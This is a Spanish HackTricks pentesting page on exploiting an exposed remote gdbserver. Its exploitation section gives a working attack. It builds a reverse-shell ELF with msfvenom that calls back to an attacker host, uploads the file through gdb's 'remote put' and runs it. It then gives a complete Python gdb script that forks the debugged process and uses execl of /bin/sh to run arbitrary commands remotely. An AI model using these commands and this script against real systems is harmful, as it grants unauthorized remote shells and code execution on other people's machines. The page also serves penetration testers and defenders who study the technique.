Pentesting Remote GdbServer

Reading time: 4 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Información Básica

gdbserver es una herramienta que permite la depuración de programas de forma remota. Se ejecuta junto al programa que necesita depuración en el mismo sistema, conocido como el "objetivo." Esta configuración permite que el GNU Debugger se conecte desde una máquina diferente, el "host," donde se almacenan el código fuente y una copia binaria del programa depurado. La conexión entre gdbserver y el depurador se puede realizar a través de TCP o una línea serial, lo que permite configuraciones de depuración versátiles.

Puedes hacer que gdbserver escuche en cualquier puerto y en este momento nmap no es capaz de reconocer el servicio.

Explotación

Subir y Ejecutar

Puedes crear fácilmente un elf backdoor con msfvenom, subirlo y ejecutarlo:

bash
# Trick shared by @B1n4rySh4d0w msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf chmod +x binary.elf gdb binary.elf # Set remote debuger target target extended-remote 10.10.10.11:1337 # Upload elf file remote put binary.elf binary.elf # Set remote executable file set remote exec-file /home/user/binary.elf # Execute reverse shell executable run # You should get your reverse-shell

Ejecutar comandos arbitrarios

Hay otra forma de hacer que el depurador ejecute comandos arbitrarios a través de un script personalizado de python tomado de aquí.

bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server. target extended-remote 192.168.1.4:2345 # Load our custom gdb command `rcmd`. source ./remote-cmd.py # Change to a trusty binary and run it to load it set remote exec-file /bin/bash r # Run until a point where libc has been loaded on the remote process, e.g. start of main(). tb main r # Run the remote command, e.g. `ls`. rcmd ls

Primero que nada, crea localmente este script:

remote-cmd.py
#!/usr/bin/env python3 import gdb import re import traceback import uuid class RemoteCmd(gdb.Command): def __init__(self): self.addresses = {} self.tmp_file = f'/tmp/{uuid.uuid4().hex}' gdb.write(f"Using tmp output file: {self.tmp_file}.\n") gdb.execute("set detach-on-fork off") gdb.execute("set follow-fork-mode parent") gdb.execute("set max-value-size unlimited") gdb.execute("set pagination off") gdb.execute("set print elements 0") gdb.execute("set print repeats 0") super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER) def preload(self): for symbol in [ "close", "execl", "fork", "free", "lseek", "malloc", "open", "read", ]: self.load(symbol) def load(self, symbol): if symbol not in self.addresses: address_string = gdb.execute(f"info address {symbol}", to_string=True) match = re.match( f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE ) if match and len(match.groups()) > 0: self.addresses[symbol] = match.groups()[0] else: raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".') return self.addresses[symbol] def output(self): # From `fcntl-linux.h` O_RDONLY = 0 gdb.execute( f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})' ) # From `stdio.h` SEEK_SET = 0 SEEK_END = 2 gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})') gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})') if int(gdb.convenience_variable("len")) <= 0: gdb.write("No output was captured.") return gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)') gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)') gdb.execute('printf "%s\\n", (char*) $mem') gdb.execute(f'call (int){self.load("close")}($fd)') gdb.execute(f'call (int){self.load("free")}($mem)') def invoke(self, arg, from_tty): try: self.preload() is_auto_solib_add = gdb.parameter("auto-solib-add") gdb.execute("set auto-solib-add off") parent_inferior = gdb.selected_inferior() gdb.execute(f'set $child_pid = (int){self.load("fork")}()') child_pid = gdb.convenience_variable("child_pid") child_inferior = list( filter(lambda x: x.pid == child_pid, gdb.inferiors()) )[0] gdb.execute(f"inferior {child_inferior.num}") try: gdb.execute( f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)' ) except gdb.error as e: if ( "The program being debugged exited while in a function called from GDB" in str(e) ): pass else: raise e finally: gdb.execute(f"inferior {parent_inferior.num}") gdb.execute(f"remove-inferiors {child_inferior.num}") self.output() except Exception as e: gdb.write("".join(traceback.TracebackException.from_exception(e).format())) raise e finally: gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}') RemoteCmd()

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks